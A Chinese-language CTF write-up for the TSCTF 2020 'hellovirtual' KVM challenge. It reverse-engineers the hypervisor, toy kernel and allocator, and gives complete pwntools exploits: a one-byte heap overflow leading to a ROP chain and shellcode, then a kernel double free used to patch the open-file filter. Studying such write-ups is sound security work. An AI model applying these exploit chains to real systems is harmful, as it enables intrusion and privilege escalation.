2020 TSCTF hellovirtual

是一个虚拟化的题目,在2018 hitcon abyss改编的题目。这里给出了三个文件hellovirtual,hellokernel,hellousr,还给出了ld.so.2,libc.so.6

hellovirtual是一个利用KVM api来做虚拟化的程序,它会加载一个小型的内核hellokernel,这个内核仅仅实现了内存管理和程序中断的功能,提供了loader启动和libc加载的一些syscall。然后解析ELF启动一个用户态的程序,这里直接使用的是ld.so.2来加载hellousrhellousr是一个用户态的程序可以直接在主机上运行。执行流程就是用户态程序hellousr发生系统调用时,hellokernel对系统调用进行一些检查,将一些与IO相关的比如read,write通过I/O Prot(CPU in/out指令)交给hellovirtual处理。

分析

virtual

先来看virtual也就是kvm。先放出几个常用的结构体,和操作的十六进制值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
struct kvm_memory_region
{
unsigned __int32 slot;
unsigned __int32 flags;
unsigned __int64 guest_phys_addr;
unsigned __int64 memory_size;
};

struct kvm_userspace_memory_region
{
unsigned __int32 slot;
unsigned __int32 flags;
unsigned __int64 guest_phys_addr;
unsigned __int64 memory_size;
unsigned __int64 userspace_addr;
};
struct kvm_segment
{
unsigned __int64 base;
unsigned __int32 limit;
unsigned __int16 selector;
unsigned __int8 type;
unsigned __int8 present;
unsigned __int8 dpl;
unsigned __int8 db;
unsigned __int8 s;
unsigned __int8 l;
unsigned __int8 g;
unsigned __int8 avl;
unsigned __int8 unusable;
unsigned __int8 padding;
};
struct kvm_dtable
{
unsigned __int64 base;
unsigned __int16 limit;
unsigned __int16 padding[3];
};
struct kvm_sregs
{
struct kvm_segment cs;
struct kvm_segment ds;
struct kvm_segment es;
struct kvm_segment fs;
struct kvm_segment gs;
struct kvm_segment ss;
struct kvm_segment tr;
struct kvm_segment ldt;
struct kvm_dtable gdt;
struct kvm_dtable idt;
unsigned __int64 cr0;
unsigned __int64 cr2;
unsigned __int64 cr3;
unsigned __int64 cr4;
unsigned __int64 cr8;
unsigned __int64 efer;
unsigned __int64 apic_base;
unsigned __int64 interrupt_bitmap[4];
};
#define KVM_GET_API_VERSION _IO(KVMIO, 0x00)
#define KVM_CREATE_VM _IO(KVMIO, 0x01) /* returns a VM fd */
#define KVM_GET_VCPU_MMAP_SIZE _IO(KVMIO, 0x04) /* in bytes */
#define KVM_CREATE_VCPU _IO(KVMIO, 0x41)
#define KVM_SET_USER_MEMORY_REGION _IOW(KVMIO, 0x46, struct kvm_userspace_memory_region)
#define KVM_RUN _IO(KVMIO, 0x80)
#define KVM_GET_REGS _IOR(KVMIO, 0x81, struct kvm_regs)
#define KVM_SET_REGS _IOW(KVMIO, 0x82, struct kvm_regs)
#define KVM_GET_SREGS _IOR(KVMIO, 0x83, struct kvm_sregs)
#define KVM_SET_SREGS _IOW(KVMIO, 0x84, struct kvm_sregs)
#define KVM_EXIT_IO 2
#define KVM_EXIT_HLT 5
#define KVM_EXIT_FAIL_ENTRY 9

一个典型的vm调用如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
// 获取 kvm 句柄
kvm = open("/dev/kvm", O_RDWR | O_CLOEXEC);
if (kvm == -1)
err(1, "/dev/kvm");

// 确保是正确的 API 版本
ret = ioctl(kvm, KVM_GET_API_VERSION, NULL);
if (ret == -1)
err(1, "KVM_GET_API_VERSION");
if (ret != 12)
errx(1, "KVM_GET_API_VERSION %d, expected 12", ret);

// 创建一虚拟机
vmfd = ioctl(kvm, KVM_CREATE_VM, (unsigned long)0);
if (vmfd == -1)
err(1, "KVM_CREATE_VM");

// 为这个虚拟机申请内存,并将代码(镜像)加载到虚拟机内存中
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (!mem)
err(1, "allocating guest memory");
memcpy(mem, code, sizeof(code));

// 为什么从 0x1000 开始呢,因为页表空间的前4K是留给页表目录
struct kvm_userspace_memory_region region = {
.slot = 0,
.guest_phys_addr = 0x1000,
.memory_size = 0x1000,
.userspace_addr = (uint64_t)mem,
};
// 设置 KVM 的内存区域
ret = ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &region);
if (ret == -1)
err(1, "KVM_SET_USER_MEMORY_REGION");

// 创建虚拟CPU
vcpufd = ioctl(vmfd, KVM_CREATE_VCPU, (unsigned long)0);
if (vcpufd == -1)
err(1, "KVM_CREATE_VCPU");

// 获取 KVM 运行时结构的大小
ret = ioctl(kvm, KVM_GET_VCPU_MMAP_SIZE, NULL);
if (ret == -1)
err(1, "KVM_GET_VCPU_MMAP_SIZE");
mmap_size = ret;
if (mmap_size < sizeof(*run))
errx(1, "KVM_GET_VCPU_MMAP_SIZE unexpectedly small");
// 将 kvm run 与 vcpu 做关联,这样能够获取到kvm的运行时信息
run = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0);
if (!run)
err(1, "mmap vcpu");

// 获取特殊寄存器
ret = ioctl(vcpufd, KVM_GET_SREGS, &sregs);
if (ret == -1)
err(1, "KVM_GET_SREGS");
// 设置代码段为从地址0处开始,我们的代码被加载到了0x0000的起始位置
sregs.cs.base = 0;
sregs.cs.selector = 0;
// KVM_SET_SREGS 设置特殊寄存器
ret = ioctl(vcpufd, KVM_SET_SREGS, &sregs);
if (ret == -1)
err(1, "KVM_SET_SREGS");

// 设置代码的入口地址,相当于32位main函数的地址,这里16位汇编都是由0x1000处开始。
// 如果是正式的镜像,那么rip的值应该是类似引导扇区加载进来的指令
struct kvm_regs regs = {
.rip = 0x1000,
.rax = 2, // 设置 ax 寄存器初始值为 2
.rbx = 2, // 同理
.rflags = 0x2, // 初始化flags寄存器,x86架构下需要设置,否则会粗错
};
ret = ioctl(vcpufd, KVM_SET_REGS, &regs);
if (ret == -1)
err(1, "KVM_SET_REGS");

// 开始运行虚拟机,如果是qemu-kvm,会用一个线程来执行这个vCPU,并加载指令
while (1) {
// 开始运行虚拟机
ret = ioctl(vcpufd, KVM_RUN, NULL);
if (ret == -1){
//错误检测
}
}

但是在pwn题目中我们最为关心的是程序保护开启的情况,现在知道的NEX保护也就是不可执行保护是通过ERREF寄存器开启的,我们看一下该寄存器的定义

图片无法显示,请联系作者

我们看到NXE标志位是1<<11,0x800。通过ioctl(vcpufd, KVM_SET_SREGS, &sregs)来设置寄存器的值,而virtual中并没有对该位进行设置,因此可以判断程序是没有开启NX保护的。

图片无法显示,请联系作者

根据上面的ioctl,request的十六进制可以看到vcpu的运行是在偏移0x171a的位置。发生EXIT_IO的时候程序执行了两个函数

图片无法显示,请联系作者

由于第一个函数是输出错误,因此判断第二个函数是处理IO相关系统调用的函数,根据函数内部的输出信息结合kernel我们可以得到最终的kernelhypervisor的交互情况。

图片无法显示,请联系作者

kernel

在逆向内核的部分的时候主要关注的有两个点

  • 内核地址空间,用户地址空间,页表
  • 系统调用表。

首先是entry.s,最开始的位置,从名称中我们也能看出来,该部分的代码应该是内核的起始代码,在代码中首先将参数取出,随后调用了一个函数,随后就一直执行hlt。该函数应该就是kernel_main函数。

图片无法显示,请联系作者

结合源码来看kernel_main函数中首先是初始化了页表,接着初始化了内存分配器,注册系统调用,最后切换到用户空间

图片无法显示,请联系作者

我们看一下初始化页表的操作

图片无法显示,请联系作者

在初始化页表中,首先读取了rc3寄存器的值赋值给了pml4

cr3寄存器是页目录基址寄存器,保存页表目录表的物理地址。pml4是页表四级映射表。

从循环中可以看出空间的总共大小为0x2000000,该控件包含用户空间和内核空间。该部分的大小也可以从virtual中得到。从int_allocator函数的调用中我们可以得到内核空间的BASE地址为0x8000000000init_allocator是做了一个0x8000000000-0x80020000000x0-0x2000000的映射。init_allocator中的while循环实际上是一个memset的过程。

接下来就是注册系统调用了,这里采用的是__writemsr函数来写模式定义寄存器(Model Specific Register (wrmsr) ),这里声明了syscall入口,也就是syscall_entry函数的地址

图片无法显示,请联系作者

注册完毕系统调用之后就是切换到用户空间执行hellousr

图片无法显示,请联系作者
系统调用表

syscall_entry中继续进行分析,该函数的特征也很明显,进行了一大堆的保存和恢复寄存器的操作,也就是push/pop。中间调用的函数就是syscall_handler了。从汇编代码中分析,主要是根据rax也就是系统调用号跳转到相应的函数去执行,函数的地址= syscall_table+rax*8。这样我们就找到了系统调用表。根据64位的系统调用号恢复出系统调用表

图片无法显示,请联系作者

其实该表就位于初始分析时棕黄色部分的起始位置。每一个syscall系统调用都会对应一个hypervisor的对应的处理函数。

usr

用户态程序很简单,当申请的team=10时,edit name编辑会造成一个字节溢出,覆写solgan的低一字节为0

bypass userspace

多层穿透的题目一般有多个flag,相当于每一层都有一个flag,先从用户层看起,也就是hellousr。程序的漏洞很明显,在分配team超过10的时候会有一个字节的溢出,会将slogan指针的低一字节覆写为0,控制好堆布局就可以将该指针指向team 9的控制堆块,也就是可以通过10控制9实现任意地址的写,而又给出了elf,libc,stack三个地址中的一个地址,这里选择elf地址,通过任意地址写将bss段中判断泄露地址函数执行次数的变量改写,从而多次泄露得到libc,stack地址。之后通过任意地址写直接覆写返回地址为rop chain。正常情况下这里应该已经可以读取出flag来了。

但是kernel中对open的系统调用进行了处理,我们看一下

图片无法显示,请联系作者

只能打开特定的文件,这里看到对flag进行了处理,我们看一下hook函数

图片无法显示,请联系作者

程序首先打开了flag文件,接着mmap了一块内存,并将flag的内容读取到了mmap的地址空间中,并将该地址空间的权限设置为了2也就是仅可写的权限,最后返回给了用户mmap地址空间中的地址。

注意到是没有开启NX的,因此可以直接执行shellcode。因此我们的rop chain设置如下,不知道为什么最开始直接在shellcode中写flag不行(推测是地址的问题,不知道这东西怎么调试)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
shellcode = asm(shellcraft.open('flag', 0, 0))
# shellcode += asm('mov rbp,rax;')
# shellcode += asm(shellcraft.mprotect('rbp', 0x1000, 7))
# shellcode += asm(shellcraft.write(1, 'rbp', 0x100))
# shellcode += asm(shellcraft.exit(0))

shellcode += asm("""

mov rbp, rax
mov rdi, rbp
mov rsi, 0x1000
mov rdx, 7
mov rax, 0xa
syscall

mov rsi, rbp
mov rdi, 1
mov rdx, 0x100
mov rax, 0x1
syscall

flag: .string "flag"
buf:
""")

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# encoding=utf-8
from pwn import *

file_path = "./hellouser"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF("./hellouser")
debug = 0
if debug:
p = process(argv=["./hellovirtual", "./hellokernel", "./ld.so.2", "./hellouser"])
# p = process([file_path])
# gdb.attach(p, "b *$rebase(0x13a8)\nb *$rebase(0x14da)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('10.104.255.213', 8888)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0


def add(size, content=b"1", name=b"1\n"):
p.sendlineafter("your choice:", "1")
p.sendafter("team name:", name)
p.sendlineafter("slogan size:", str(size))
p.sendafter("team slogan:", content)


def delete(index):
p.sendlineafter("your choice:", "2")
p.sendlineafter("team id:", str(index))


def edit_content(index, content):
p.sendlineafter("your choice:", "3")
p.sendlineafter("your team id:", str(index))
p.sendafter("new slogan:", content)


def edit_name(index, name):
p.sendlineafter("your choice:", "4")
p.sendlineafter("your team id:", str(index))
p.sendafter("new name:", name)


def magic(index, magic_index):
magic_dic = ["stackbase", "codebase", "libcbase"]
p.sendlineafter("your choice:", "4919")
p.sendlineafter("your team id:", str(index))
p.sendlineafter("do you want?", magic_dic[magic_index])


magic_limit_address = 0x2030b8
name = "1" * 0x1
p.sendafter("you name:)", name)
add(0x28, b"1", cyclic(29))
for i in range(8):
add(0xa8, b"1", cyclic(29))
add(0x8, b"1", cyclic(29))
add(0x68, b"1", cyclic(29))
edit_name(10, b"1" * 29)
magic(10, 1)
p.recvuntil("[+]code: ")
elf.address = int(p.recvline().strip(b"\n"), 16) - 0xcba
log.success("elf address {}".format(hex(elf.address)))

payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(elf.address + magic_limit_address) + p64(0xff)
edit_content(10, payload)
edit_content(9, p32(0xff) + p32(0x1))

magic(9, 2)
p.recvuntil("[+]libc: ")
libc.address = int(p.recvline().strip(b"\n"), 16) - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))

edit_content(9, p32(0xff) + p32(0x1))
magic(9, 0)
p.recvuntil("[+]stack: ")
stack_address = int(p.recvline().strip(b"\n"), 16)
log.success("stack address {}".format(hex(stack_address)))

payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(stack_address + 0x48) + p64(0x200)
edit_content(10, payload)

p_rdi_r = 0x000000000002155f + libc.address
p_rsi_r = 0x0000000000023e8a + libc.address
p_rdx_r = 0x0000000000001b96 + libc.address
p_rax_r = 0x0000000000043a78 + libc.address
syscall = 0x00000000000d29d5 + libc.address
jmp_rsp = 0x0000000000002b1d + libc.address
push_rax = 0x000000000001e8a8 + libc.address
mov_rdx_rax = 0x00000000001417ad + libc.address
mov_rsi_rdx_jmp_rcx = 0x0000000000153cd9 + libc.address
p_rcx_rbx_r = 0x0000000000103daa + libc.address

flag_str_address = stack_address + 0x48 + 0xe0

flag_write_address = flag_str_address + 0x10

shellcode = asm(shellcraft.open('flag', 0, 0))

shellcode += asm("""

mov rbp, rax
mov rdi, rbp
mov rsi, 0x1000
mov rdx, 7
mov rax, 0xa
syscall

mov rsi, rbp
mov rdi, 1
mov rdx, 0x100
mov rax, 0x1
syscall

flag: .string "flag"
buf:
""")

# gdb.attach(p, "b *$rebase(0x173E)")
edit_content(9, p64(jmp_rsp) + shellcode)
# edit_content(9, p64(jmp_rsp) + shellcode)

p.interactive()

bypass kernel

这个是参考官方的WP

图片无法显示,请联系作者

说明这个函数调用表是一个0x2333大小的表,在处理系统调用号为0x2333的时候实现了一个自己的函数,我们看一下,实现了一个简单的菜单,主要有new,show,edit,delete四个功能。也就是可以从用户空间分配内核空间的堆块。

图片无法显示,请联系作者

这里主要存在了两个漏洞,一个是show中的任意读漏洞,另一个就是delete函数中的UAF漏洞。由于kernel对用户空间进行的open进行了过滤,并且只能打开flag,因此这一步我们需要达到内核任意写的效果,通过内核的任意写改写内核代码中open的过滤的规则,从而可以打开任意的文件。

不过这里的kmalloc,kfree是作者自己编写的,我们需要逆向一下,逆向之后的代码贴在后面了,从逆向结果中我们可以得到chunk的结构如下

1
2
|    size    |    0    | << chunk header
| fd |---------| << chunk

分配chunk的时候size需要是0x10对齐的,并且分配出来的chunk是以0x80为单位。堆的管理共分为两个部分,称之为unsorted binsorted bin。分配的时候如果没有特殊的情况则首先从sorted bin中进行分配,sorted bin中的堆块是按照从小到大的顺序进行排列的,如果sorted bin中没有合适的堆块,那么则在unsorted bin中分配。在释放的时候如果堆块和unsorted bin相邻,则将释放的堆块和unsorted bin进行合并。

可以看到kernel内部的堆块分配和释放除了对size进行了检查之外其他的并没有任何的安全检查。我们可以利用double free分配堆块到buf_list(0x159c0)中,利用size_list(0x159c8)中记录的堆块size作为伪造堆块的size

各个重要结构体的偏移如下

1
2
3
4
5
buf_list->0x159c0
size_list->0x159c8
unsorted bin->0x15AC0
unsorted bin size->0x15AC8
sorted bins->0x15AE0
  • 首先构造double free
1
2
3
4
5
6
7
8
9
10
shellcode = add_kernel(0, 0xf0) * 30 # 防止kernel中原有的chunk的干扰(删除也可)
shellcode = add_kernel(0, 0x100) # fake chunk size
shellcode += add_kernel(1, 0xf0)
shellcode += add_kernel(2, 0xf0)
shellcode += add_kernel(3, 0xf0)
shellcode += delete_kernel(1) * 2 # double free
# shellcode += asm('''
# dbg:
# jmp dbg;
# ''')
图片无法显示,请联系作者

/dev/zero就是hypervisor监管的内存了,内核空间和用户空间都在这里,调试的方法就是在shellcode中加上无限循环的shellcode,在程序陷入循环的时候使用gdb attach上去,查看内存是否发生了改变。从上面我们可以看到已经出现了double free

  • 覆写free chunk->fd指向size_list,分配得到chunk_list的堆块,此时我们即可以控制chunk_list
1
2
3
4
shellcode += asm(shellcraft.read(0, stack_address, 0xf0)) # 读取我们需要修改改的内容
shellcode += edit_kernel(1, 3, stack_address)
shellcode += add_kernel(4, 0xf0)
shellcode += add_kernel(5, 0xf0) # chunk_list buf
  • 覆写chunk_list指向open函数的代码段,覆写open的代码使得文件名的过滤失效。首先我们看一下代码在什么位置。
图片无法显示,请联系作者

只要将0xb73处的jnz条件跳转patch掉就可以打开任意的文件了。所以我们将chunk_list中的某一个chunkptr指向该地址,随后修改。

  • patch sys_open调用,打开任意文件。
1
2
shellcode += edit_kernel(5, 0xb, stack_address+0x8) # write sys_open code address to chunk_list
shellcode += edit_kernel(2, 2, stack_address+0x20) # patch sys_open
图片无法显示,请联系作者

从上图中我们可以看到已经成功patchsys_open的函数,现在可以打开任意的文件了。之后就是打开flag文件读取flag的过程了,题目中给出了第二个flag文件的文件名。

1
2
3
4
shellcode += asm(shellcraft.open('flag_xmzyshypnctql', 0))
shellcode += asm(shellcraft.read(3, stack_address, 0x40))
shellcode += asm(shellcraft.write(1, stack_address, 0x40))
shellcode += asm(shellcraft.exit(0))

其中stack中的内容如下

1
2
3
payload = b'\xc8\x59\x01'.ljust(8, b'\x00') + p32(0xdeadbeef) * 2 + b'\x73\x0b\x00'
payload = payload.ljust(0x20, b'\x00')
payload += b'\x90' * 2

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
# encoding=utf-8
from pwn import *

file_path = "./hellouser"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF("./hellouser")
debug = 1
if debug:
p = process(argv=["./hellovirtual", "./hellokernel", "./ld.so.2", "./hellouser"])
# p = process([file_path])
# gdb.attach(p, "b *$rebase(0x13a8)\nb *$rebase(0x14da)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0

else:
p = remote('10.104.255.213', 8888)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0


def add(size, content=b"1", name=b"1\n"):
p.sendlineafter("your choice:", "1")
p.sendafter("team name:", name)
p.sendlineafter("slogan size:", str(size))
p.sendafter("team slogan:", content)


def delete(index):
p.sendlineafter("your choice:", "2")
p.sendlineafter("team id:", str(index))


def edit_content(index, content):
p.sendlineafter("your choice:", "3")
p.sendlineafter("your team id:", str(index))
p.sendafter("new slogan:", content)


def edit_name(index, name):
p.sendlineafter("your choice:", "4")
p.sendlineafter("your team id:", str(index))
p.sendafter("new name:", name)


def magic(index, magic_index):
magic_dic = ["stackbase", "codebase", "libcbase"]
p.sendlineafter("your choice:", "4919")
p.sendlineafter("your team id:", str(index))
p.sendlineafter("do you want?", magic_dic[magic_index])


def add_kernel(index, size):
return asm(
'''
mov rax, 0x2333;
mov rdi, 1;
mov rsi, %d;
mov rdx, %d;
xor r8, r8;
syscall;
'''% (index, size)
)


def show_kernel(index, size, offset):
return asm(
'''
mov rax, 0x2333;
mov rdi, 2;
mov rsi, %d;
mov rdx, %d;
mov rcx, %d;
xor rdx, rdx;
xor r8, r8;
syscall;
'''% (index, size, offset)
)


def edit_kernel(index, size, content_buf):
return asm(
'''
mov rax, 0x2333;
mov rdi, 3;
mov rsi, %d;
xor rcx, rcx;
mov rdx, %d;
movabs r8, %ld;
syscall;
''' % (index, size, content_buf)
)


def delete_kernel(index):
return asm(
'''
mov rax, 0x2333;
mov rdi, 4;
mov rsi, %d;
xor rdx, rdx;
xor rcx, rcx;
xor r8, r8;
syscall;
'''% (index)
)


magic_limit_address = 0x2030b8
name = "1" * 0x1
p.sendafter("you name:)", name)
add(0x28, b"1", cyclic(29))
for i in range(8):
add(0xa8, b"1", cyclic(29))
add(0x8, b"1", cyclic(29))
add(0x68, b"1", cyclic(29))
edit_name(10, b"1" * 29)
magic(10, 1)
p.recvuntil("[+]code: ")
elf.address = int(p.recvline().strip(b"\n"), 16) - 0xcba
log.success("elf address {}".format(hex(elf.address)))

payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(elf.address + magic_limit_address) + p64(0xff)
edit_content(10, payload)
edit_content(9, p32(0xff) + p32(0x1))

magic(9, 2)
p.recvuntil("[+]libc: ")
libc.address = int(p.recvline().strip(b"\n"), 16) - libc.sym['_IO_2_1_stdout_']
log.success("libc address {}".format(hex(libc.address)))

edit_content(9, p32(0xff) + p32(0x1))
magic(9, 0)
p.recvuntil("[+]stack: ")
stack_address = int(p.recvline().strip(b"\n"), 16)
log.success("stack address {}".format(hex(stack_address)))

payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(stack_address + 0x48) + p64(0x200)
edit_content(10, payload)
jmp_rsp = 0x0000000000002b1d + libc.address


shellcode = add_kernel(0, 0xf0)*30
shellcode += add_kernel(0, 0x100)
shellcode += add_kernel(1, 0xf0)
shellcode += add_kernel(2, 0xf0)
shellcode += add_kernel(3, 0xf0)
shellcode += delete_kernel(1)*2
shellcode += asm(shellcraft.read(0,stack_address,0xf0))
shellcode += edit_kernel(1, 3, stack_address)
shellcode += add_kernel(4, 0xf0)
shellcode += add_kernel(5, 0xf0)
shellcode += edit_kernel(5, 0xb, stack_address+0x8)
shellcode += edit_kernel(2, 2, stack_address+0x20)
shellcode += asm(shellcraft.open('flag_xmzyshypnctql', 0))
shellcode += asm(shellcraft.read(3, stack_address, 0x40))
shellcode += asm(shellcraft.write(1, stack_address, 0x40))
shellcode += asm(shellcraft.exit(0))

orw_shellcode = asm(shellcraft.read(0, stack_address + 0x30 + 0x50, 0x1000))
orw_shellcode = orw_shellcode.ljust(0x30, b"\x90")

read_flag_shellcode = asm(shellcraft.open('flag', 0, 0))

read_flag_shellcode += asm("""

mov rbp, rax
mov rdi, rbp
mov rsi, 0x1000
mov rdx, 7
mov rax, 0xa
syscall

mov rsi, rbp
mov rdi, 1
mov rdx, 0x100
mov rax, 0x1
syscall

flag: .string "flag"
buf:
""")

# gdb.attach(p, "b *$rebase(0x173E)")
edit_content(9, p64(jmp_rsp) + orw_shellcode)

p.send(shellcode)
# p.send(read_flag_shellcode)

# raw_input()
#
payload = b'\xc8\x59\x01'.ljust(8, b'\x00') + p32(0xdeadbeef) * 2 + b'\x73\x0b\x00'
payload = payload.ljust(0x20, b'\x00')
payload += b'\x90' * 2

p.send(payload)

p.interactive()

kmalloc,kfree

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// kmalloc
__int64 __usercall kmalloc@<rax>(unsigned __int64 size@<rdi>, unsigned __int64 a2@<rsi>)
{
unsigned __int64 align_size; // r8
__int64 bin; // rsi
__int64 current_sorted_bin; // rdx
unsigned __int64 current_size; // rax
bool is_current_size_conmfort; // zf
__int64 next_chunk; // rcx
__int64 result; // rax
_QWORD *v9; // rcx
__int64 v10; // [rsp+0h] [rbp-10h]

if ( size > 0xFFFFFFFF )
return 0i64;
align_size = size + 0x10;
if ( ((size + 0x10) & 0x7F) != 0 )
align_size = (align_size & 0xFFFFFFFFFFFFFF80ui64) + 0x80;
if ( a2 )
{
if ( a2 != 0x1000 )
panic("kmalloc.c#kmalloc: invalid alignment");
if ( ((0xFF0 - MEMORY[0x15AC0]) & 0xFFF) == 0 || malloc_unsorted((0xFF0 - MEMORY[0x15AC0]) & 0xFFF) )// 检测剩余的大小是否符合要求
{
malloc_unsorted(align_size);
kfree(v9);
result = v10;
if ( v10 )
{
if ( (v10 & 0xFFF) == 0 )
return result;
panic("kmalloc.c#kmalloc: alignment request failed");
}
}
}
else
{
bin = MEMORY[0x15AE0];
current_sorted_bin = 0x15AD0i64;
while ( bin )
{
current_size = *bin;
if ( (*bin - 1i64) > 0xFFFFFFFE || (current_size & 0xF) != 0 )// 对size进行检查
{
panic("kmalloc.c: invalid size of sorted bin");
LABEL_12:
*(current_sorted_bin + 0x10) = next_chunk;// 切割sorted bin,这里直接将fd指定为下一个堆块
if ( !is_current_size_conmfort )
{
*(bin + align_size) = current_size - align_size;
insert_chunk((bin + align_size)); // 插入切割之后的堆块
}
result = bin + 0x10;
*bin = align_size;
*(bin + 8) = 0i64;
if ( bin != 0xFFFFFFFFFFFFFFF0ui64 )
return result;
break;
}
is_current_size_conmfort = align_size == current_size;// 当前的sorted bin size是否合适
next_chunk = *(bin + 0x10);
if ( align_size <= current_size )
goto LABEL_12;
current_sorted_bin = bin;
bin = *(bin + 0x10);
}
result = malloc_unsorted(align_size);
if ( result )
return result;
}
return 0i64;
}
// kfree
_QWORD *__usercall kfree@<rax>(_QWORD *chunk@<rdi>)
{
__int64 size; // rsi
_QWORD *chunk_header; // r8
_QWORD *next_chunk; // rax

if ( chunk )
{
size = *(chunk - 2);
chunk_header = chunk - 2;
if ( (size - 1) > 0xFFFFFFFE || (size & 0xF) != 0 )// size>0 并且0x10对齐
{
panic("kmalloc.c#kfree: invalid size");
}
else
{
memset(chunk, 0, size - 0x10); // 清空了chunk
next_chunk = (chunk_header + size);
if ( MEMORY[0x15AC0] == (chunk_header + size) )// chunk 合并
{
MEMORY[0x15AC0] = chunk - 2;
MEMORY[0x15AC8] += size;
*(chunk - 2) = 0i64;
return next_chunk;
}
}
next_chunk = insert_chunk(chunk_header); // 按照从小到大插入chunk
}
return next_chunk;
}

参考

KVM 虚拟化原理探究— QEMU启动过程

Write to kernel address zero: HITCON 2018 Abyss II